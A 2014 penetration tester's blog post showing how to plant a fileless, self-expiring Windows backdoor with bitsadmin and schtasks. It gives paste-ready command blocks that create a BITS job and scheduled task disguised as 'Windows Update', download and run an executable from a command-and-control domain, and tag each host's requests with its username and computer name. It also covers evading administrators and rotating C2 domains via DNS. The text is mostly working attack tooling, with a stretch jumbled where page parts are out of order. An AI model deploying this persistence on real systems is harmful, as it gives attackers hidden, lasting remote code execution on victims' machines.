

Ce site utilise des cookies provenant de Google pour fournir ses services et analyser le trafic. Votre adresse IP et votre user-agent, ainsi que des statistiques relatives aux performances et à la sécurité, sont transmis à Google afin d'assurer un service de qualité, de générer des statistiques d'utilisation, et de détecter et de résoudre les problèmes d'abus.

EN SAVOIR PLUS OK !

Saturday, March 8, 2014

Temporal Persistence with bitsadmin and schtasks

- Leaving a Key Under the Mat -

Why Do This:

On a recent engagement, I ran into a well-meaning individual who, after being briefed about our team's access to their network, decided to reboot compromised hosts and change user credentials in the middle of the testing. After losing multiple shells that weren't actually being detected, I decided to spend that evening after work creating a method to let myself back in.

There are numerous common persistence methods, however, leaving behind registry keys, start-up configurations, or any permanent files was strictly out of the question. Additionally, I wanted the source of reentry to be remotely triggered, C&C independent, and any changes to the system should appear plausibly legitimate.

What We Want:

- No files left behind: binaries, vbs, ps1, batch, mof, xml...
- Persistence across sessions and reboots
- Functional under non-privileged user accounts
- No need for user credentials or interaction
- Ability to reinfect unique hosts individually
- Self cleaning, independent of system access
- Configurable time-based poling
- Remotely Mutable C2 Addressing
- C2 & payload only visible during reinfection window
- Plausibly believable configurations

The means of persistence on which I settled was Microsoft's Background Intelligent Transfer Service (BITS), and the associated `bitsadmin` tool:

Nothing is New:

Bitsadmin has received some coverage of late, most notable are the following examples.

- mubix and carnal0wnage's Derbycon2 talk: Windows Attacks AT is the new black
- Mark Bagget and Jake Williams' blog post and talk: Wipe the drive! Stealthy Malware Persistence Mechanism


After trying the examples listed in these talks, I realized some pieces were missing. This is not to say that the information was inaccurate, simply incomplete for my purpose.

Constructing a BITS Back Door:

Component One: Assembling a BITS Job

```
# Create new transfer job named "Windows Update"
bitsadmin /Create "Windows Update"
# Add a file to our job
bitsadmin /AddFile "Windows Update" http://<yourC&C>.com/kb%RANDOM%.exe %TEMP%\kb7468656d.exe
# Customize the notification event trigger
bitsadmin /SetNotifyFlags "Windows Update" 1
# Specify command to execute on notification event
bitsadmin.exe /SetNotifyCmdLine "Windows Update" "%COMSPEC%" "cmd.exe /c bitsadmin.exe /complete \"Windows Update\" && start /B %TEMP%\kb7468656d.exe"
# Set retry delay on transient error in seconds
bitsadmin /SetMinRetryDelay "Windows Update" 120
# Assign custom HTTP Request header
bitsadmin /SetCustomHeaders "Windows Update" "Caller:%USERNAME%@%COMPUTERNAME%"
# Activate job for transfer
bitsadmin /Resume "Windows Update"
```

Themson Mester

 @ThemsonMester

View my complete profile

Blog Archive

- 2015 (1)
- ▼ 2014 (4)
 - October 2014 (1)
 - August 2014 (1)
 - June 2014 (1)
 - ▼ March 2014 (1)
 - Temporal Persistence with bitsadmin and schtasks

Recommended Blogs

Room362

forelsec

Carnal0wnage & Attack Research

alert(1)

obscuresec

g0tmi1k

bwall

Ce site utilise des cookies provenant de Google pour fournir ses services et analyser le trafic. Votre adresse IP et votre user-agent, ainsi que des statistiques relatives aux performances et à la sécurité, sont transmis à Google afin d'assurer un service de qualité, de générer des statistiques d'utilisation, et de détecter et de résoudre les problèmes d'abus.

EN SAVOIR PLUS OK !

with **/Complete** seem to be missing from most examples of using this tool.

- Utilizing the **%RANDOM%** variable in our **/AddFile** command, along with environment variables in our **/SetCustomHeaders** command, we create a host-specific HTTP request header and trigger file. We can now easily identify each machine and trigger their reinfection independently of one another.

Issuing the above commands results in the following request being sent to our C&C server:

Component Two: Monitoring our Backdoor

We can monitor BITS requests in our Apache access.log as follows, or we can do better...

To generate a log that leverages our custom file names and request headers, we add some Apache CustomLog and SetEnv directives to **/etc/apache2/sites-enabled/000-default**

After restarting Apache, we now have a BITS only log with the exact information we need:

Unfortunately, we aren't quite done yet. If our BITS job sends a HEAD requests for a file that does not exist we completely lose access.

From MSDN:

- ERROR — A nonrecoverable error occurred; **the transfer will not be retried.**

Component Three: Priming BITS with schtasks.exe

To solve the problem of BITS entering an error state, we use **schtasks** to resume our job at regular intervals. This will allow our backdoor to persist regardless of the state of our C&C, or presence of a trigger-file.

Crafting our Scheduled Task

```
schtasks /CREATE /TN "Windows Update" /TR "%WINDIR%\system32\bitsadmin.exe /resume \"Windows Update\"" /SC minute /MO 30 /ED 03/14/2014 /ET 09:00 /Z /IT /RU %USERNAME%
```

Important Settings:

```
# The /resume flag will restart our BITS job if it has entered an error state
/TR %WINDIR%\system32\bitsadmin.exe /resume...
# Utilizing a "schedule modifier" we create a task whose actions will trigger every X minutes.
/SC minute /MO <X>
# Using an end date and end time we set an expiration date for our task
/ED <DATE> /ET <TIME>
# Using the /Z flag causes our task to self delete at the specified end date and time
/Z
# Run as %USERNAME% executes our task under a compromised user without need for credentials
/IT /RU %USERNAME%
```

Our Newly Created Task

This task will automatically delete itself once it has reached the end date and time.

Ce site utilise des cookies provenant de Google pour fournir ses services et analyser le trafic. Votre adresse IP et votre user-agent, ainsi que des statistiques relatives aux performances et à la sécurité, sont transmis à Google afin d'assurer un service de qualité, de générer des statistiques d'utilisation, et de détecter et de résoudre les problèmes d'abus.

EN SAVOIR PLUS OK !

A note on plausible configurations and persistence methods:

Some will argue that we could simply utilize this scheduled task to trigger a download and execution request at a regular interval. Perhaps pole for a powershell script. They are not incorrect, however, I prefer to leverage the innocuous appearance of the task. I am of the mind that not exposing our C&C IP or Domain name in our scheduled task puts us at a lower risk of discovery; the average user, and even administrator, is highly unlikely to view the details of our BITS job. The curious are likely only to run common informational commands such as **bitsadmin /list** and **bitsadmin /info**, not revealing our C&C information without the **/verbose** flag. An even more nefarious attacker might go as far as to point their C&C DNS at a legitimate Windows Update server until needed, making the HTTP call back traffic appear legitimate up to and after reinfection. I certainly would never suggest doing such a thing, but yield that the more believable the configuration, the more effective the backdoor.

Enough Talk, Lets Do This Thing!

Combing bitsadmin and schtasks we can deploy a backdoor by pasting the following into our shell.

```
# ----- BITS BACK DOOR -----
# Themson Mester - 03/06/2014
# Configure: /AddFile <Domain> | /MO <Minutes> | /ED <DATE> | /ET <Time>
cd %TEMP%
bitsadmin /Reset > NUL
bitsadmin /Create "Windows Update" > NUL
bitsadmin /AddFile "Windows Update" http://<Domain>.com/kb%RANDOM%.exe %TEMP%\kb7468656d.exe > NUL
bitsadmin /SetNotifyFlags "Windows Update" 1 > NUL
bitsadmin.exe /SetNotifyCmdLine "Windows Update" "%COMSPEC%" "cmd.exe /c bitsadmin.exe /complete \"Windows Update\" && start
/B %TEMP%\kb7468656d.exe" > NUL
bitsadmin /SetMinRetryDelay "Windows Update" 120 > NUL
bitsadmin /SetCustomHeaders "Windows Update" "Caller:%USERNAME%@%COMPUTERNAME%" > NUL
schtasks /delete /TN "Windows Update" /F
schtasks /CREATE /TN "Windows Update" /TR "%WINDIR%\system32\bitsadmin.exe /Resume \"Windows Update\"" /SC minute /MO 60 /ED
03/14/2014 /ET 09:00 /Z /IT /RU %USERNAME% > NUL

bitsadmin /List
schtasks /Run /TN "Windows Update"
schtasks /Query /TN "Windows Update"
# ----- EOF ---- them ---- EOF -----
```

Demo Time:

Deploy the Backdoor:

A callback interval of 2 minutes is used for testing, 60-90 minutes is quieter for actual use.

Phoning Home:

The initial schtasks /run triggers our first phone home as seen in our monitoring log.

Losing our Session:

Ce site utilise des cookies provenant de Google pour fournir ses services et analyser le trafic. Votre adresse IP et votre user-agent, ainsi que des statistiques relatives aux performances et à la sécurité, sont transmis à Google afin d'assurer un service de qualité, de générer des statistiques d'utilisation, et de détecter et de résoudre les problèmes d'abus.

EN SAVOIR PLUS OK !

Reinfecting the Host:

We deploy a payload using the custom trigger-file name for the machine we wish to target.

Host Acquires Payload:

The host whose trigger-file we used pulls down our payload.

Back in Business:

Successful transfer triggers /SetNotifyCmdLine to /Complete our download and executes the payload.

I used a self-deleting PE, you could also use a blank file to trigger a reflective powershell execution.

At this point the BITS job is removed. You can redeploy the backdoor by pasting it back into your shell. If you ever need to preemptively clean the backdoor use:

```
bitsadmin /reset && schtasks /delete /TN <taskname> /F
```

Rising from the dead: Mutable C2 Addressing

There are two reasons we use a domain name and not a static IP to host our trigger-files. First, we can use a domain that looks potentially legitimate. Second, it allows us to change C&C reinfection hosts in case your original IP gets blocked. This will take some time, as it relies on propagation of a new A/AAAA record and the expiration of any DNS cache; still better than losing our access.

After about an hour the request arrives at our new C&C and we are back in again!

Ce site utilise des cookies provenant de Google pour fournir ses services et analyser le trafic. Votre adresse IP et votre user-agent, ainsi que des statistiques relatives aux performances et à la sécurité, sont transmis à Google afin d'assurer un service de qualité, de générer des statistiques d'utilisation, et de détecter et de résoudre les problèmes d'abus.

EN SAVOIR PLUS OK !

Compromise, Infection, Loss of Shell, Persistence, Reinfection

At this point, anyone defending the network should be reacting something like this.

How'd We Do?:

- No files left behind: binaries, vbs, ps1, batch, mof, xml... ✓
- Persistence across sessions and reboots ✓
- Functional under non-privileged user accounts ✓
- No need for user credentials or interaction ✓
- Ability reinfect unique hosts individually ✓
- Self cleaning, independent of system access ✓-
- Configurable time-based poling ✓
- Remotely Mutable C2 Addressing ✓
- C2 & payload only visible during reinfection window ✓
- Plausibly believable configurations ✓

Shortcomings:

- When the bitadmin /resume command is run by task scheduler, under a non-system level account, the user may see a small flash as the argument is passed to cmd.exe. This can be prevented by creating the task under a system account, or having the task only trigger on idle time.
- The BITS job is removed automatically upon success, however, if the task is removed and the BITS job never completes, it will remain in the queue in an inactive ERROR state and will not be tried again. You can prevent this a number of ways: another task, a secondary trigger... I'll leave that practice up to you. I personally am not terribly concerned about it.

So there you have it, highly resilient persistence that cleanly expires with your engagement.

Go learn something ...

@ThemsonMester

Cited Resources:

1. Microsoft Developer Network, BITSAdmin Tool: [http://msdn.microsoft.com/en-us/library/aa362813\(v=vs.85\).aspx](http://msdn.microsoft.com/en-us/library/aa362813(v=vs.85).aspx)
2. TechNet, Schtasks.exe: <http://technet.microsoft.com/en-us/library/bb490996.aspx>
3. Apache Module mod_log_config: http://httpd.apache.org/docs/current/mod/mod_log_config.html
4. Fuller, Rob, and Chris Gates. "Windows Attacks AT is the new black." . N.p., 09/29/2013. Web. <<http://www.slideshare.net/mubix/windows-attacks-at-is-the-new-black-26665607>>. (slides 49-53)
5. Baggett, Mark. "Wipe the drive! Stealthy Malware Persistence Mechanism - Part 1." InfoSec Handlers Diary Blog. Sans, 03/13/2013. Web. 10 Mar 2014. <<https://isc.sans.edu/diary/Wipe+the+drive+Stealthy+Malware+Persistence+Mechanism+-+Part+1/15394>>

Posted by @ThemsonMester at 3:13 PM



1 comment:

Ce site utilise des cookies provenant de Google pour fournir ses services et analyser le trafic. Votre adresse IP et votre user-agent, ainsi que des statistiques relatives aux performances et à la sécurité, sont transmis à Google afin d'assurer un service de qualité, de générer des statistiques d'utilisation, et de détecter et de résoudre les problèmes d'abus.

EN SAVOIR PLUS **OK !**



[Newer Post](#)

[Home](#)

Subscribe to: [Post Comments \(Atom\)](#)